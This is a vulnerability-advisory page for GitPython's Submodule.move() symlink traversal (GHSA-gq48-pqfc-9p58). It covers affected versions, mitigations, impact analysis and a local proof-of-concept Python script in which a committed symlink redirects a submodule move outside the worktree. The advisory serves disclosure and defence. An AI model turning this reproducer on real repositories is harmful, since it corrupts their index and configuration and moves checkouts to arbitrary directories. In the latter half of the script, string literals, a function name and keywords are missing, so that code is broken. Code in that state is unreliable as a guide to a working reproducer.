Live › vulnerability › GHSA-gq48-pqfc-9p58
Go to dashboardGitPython's Submodule.move() checks that a destination is lexically inside the repository but does not reject an intermediate symlink, so a malicious repository can redirect a move outside the worktree. The attacker gets an initialized submodule checkout moved to an arbitrary existing directory and the parent repository's index and configuration corrupted, with no code execution or confidentiality impact demonstrated.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-27 15:28 UTC. All times on this page are UTC.
Applications that clone untrusted repositories, initialize their submodules, and later call Submodule.move() with a destination below a path the repository committed as a symlink. The primitive requires Git to materialize the tracked entry as a real symlink, which generally means Linux or macOS, or Windows with core.symlinks enabled and Developer Mode. Applications that never call Submodule.move() or only handle trusted repositories can skip it.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| GitPython | pypi | < 3.2.0 | 3.2.0 |
pip show GitPython and confirm the installed version is below 3.2.0.Submodule.move( where the destination path could sit below a path committed as a symlink in an untrusted repository.3.2.0 or later.Submodule.move() on repositories you do not trust, or validate that no intermediate path component is a symlink before calling it.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
GitPython's public Submodule.move() API verifies that its destination is lexically inside the parent repository, but it does not reject symbolic links in the destination's intermediate components before filesystem operations. On systems that check out Git symlinks, an untrusted repository can therefore redirect a fixed, application-selected move destination outside the parent worktree.
The reporter reproduced this on the latest release, GitPython 3.1.62, and current main. In the strict scenario, the repository commits vendor -> ../outside, while the consuming application independently passes the fixed literal vendor/module. Submodule.move() follows vendor, moves the initialized submodule checkout to outside/module, rewrites .gitmodules and the index to the symlinked path, and leaves the index unable to produce a tree.
The same result occurs when the committed symlink contains an absolute path to an external directory. No attacker-controlled API argument, local symlink planting, race, Git hook, unsafe-option flag, or network access during the proof is required.
The attacker controls:
120000 tracked symlink named vendor;The consuming application controls the call and uses a fixed layout rule:
submodule.move("vendor/module")
The trigger requires the application to initialize the submodule and later call Submodule.move() with a path below the attacker-committed symlink. Ordinary clone or submodule update does not automatically make this call. Windows was not tested. The primitive applies where Git materializes the tracked entry as a real symlink; on Windows that generally requires core.symlinks=true with Developer Mode or sufficient privilege. Configurations that materialize it as an ordinary file do not take this path.
GitPython (pip ecosystem)db47516dac750c5968b8f6d388b18712c355df50main: b62e91be897f687a622e40cd1e59c33dce45f124git/objects/submodule/base.py SHA-256 in both revisions: a4355d49e0b75c7c7e74d33ac70ff9550f940c977848c99da40eb41e034b189cOnly these two revisions were directly tested.
The demonstrated impact is an integrity boundary violation: repository content selects an existing directory outside the worktree, and GitPython moves an attacker-influenced checkout into a missing or empty child path there with the victim process's permissions. It also removes the original checkout and corrupts the parent repository's index/configuration state.
For a downstream service that remotely accepts repositories and performs this exact layout operation with user involvement retained, AV:N gives a conditional application-level score of 7.1. A fully automatic service may warrant a different UI assessment. The library report uses AV:L because the vulnerable API call is a separate application action and is not part of GitPython's ordinary clone/update flow.
No confidentiality impact, code execution, overwrite of an existing file, or overwrite of a non-empty directory was demonstrated.
The following script creates only temporary local repositories and a self-generated canary. It passes protocol.file.allow=always separately with -c on each fixture Git invocation; that permission is process-scoped and is not persisted to global or repository configuration.
Run it from a fresh source checkout:
git clone --depth 1 --branch 3.1.62 https://github.com/gitpython-developers/GitPython.git
python3 poc.py /path/to/GitPython
python3 poc.py --absolute-link /path/to/GitPython
--absolute-link commits the temporary external directory's absolute path instead of ../outside.
#!/usr/bin/env python3
"""Local-only reproducer for GitPython Submodule.move() symlink traversal."""
from __future__ import annotations
import argparse
import json
import subprocess
import sys
import tempfile
from pathlib import Path
from typing import Optional
def run_git(
*args: str, cwd: Optional[Path] = None, check: bool = True
) -> subprocess.CompletedProcess:
command = [
"git",
"-c",
"user.name=GitPython security fixture",
"-c",
"[email protected]",
"-c",
"protocol.file.allow=always",
*args,
]
return subprocess.run(command, cwd=cwd, check=check, text=True, capture_output=True)
def read_core_worktree(parent) -> str:
module_config = Path(parent.git_dir) / "modules" / "logical-name" / "config"
return parent.git.config("--file", str(module_config), "--get", "core.worktree")
() -> :
modules_file = Path(parent.working_tree_dir) /
parent.git.config(
, (modules_file), ,
)
() -> :
parser = argparse.ArgumentParser()
parser.add_argument(, =Path, =)
parser.add_argument(
,
action=,
=(
),
)
args = parser.parse_args()
source_root = args.source_root.resolve()
sys.path[:] = [
(source_root),
(source_root / ),
(source_root / ),
]
gitdb
smmap
git Repo
tempfile.TemporaryDirectory(prefix=) temporary:
root = Path(temporary)
module_source = root /
attacker = root /
victim = root /
outside = root /
run_git(, , (module_source))
(module_source / ).write_text(
, encoding=
)
run_git(, , cwd=module_source)
run_git(, , , , cwd=module_source)
outside.mkdir()
run_git(, , (attacker))
run_git(
,
,
,
,
,
(module_source),
,
cwd=attacker,
)
link_target = (outside.resolve()) args.absolute_link
(attacker / ).symlink_to(link_target, target_is_directory=)
run_git(, , , , cwd=attacker)
run_git(, , , , cwd=attacker)
run_git(, , (attacker), (victim))
run_git(, , , , cwd=victim)
parent = Repo(victim)
submodule = parent.submodule()
before = {
: parent.git.status(),
: parent.git.write_tree(),
: parent.git.ls_files(, ),
: parent.git.ls_files().splitlines(),
: read_gitmodules_path(parent),
: (victim / / ).exists(),
: (
outside / /
).exists(),
: read_core_worktree(parent),
}
This page as .md · .json · in your agent: get_signal("GHSA-gq48-pqfc-9p58")
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.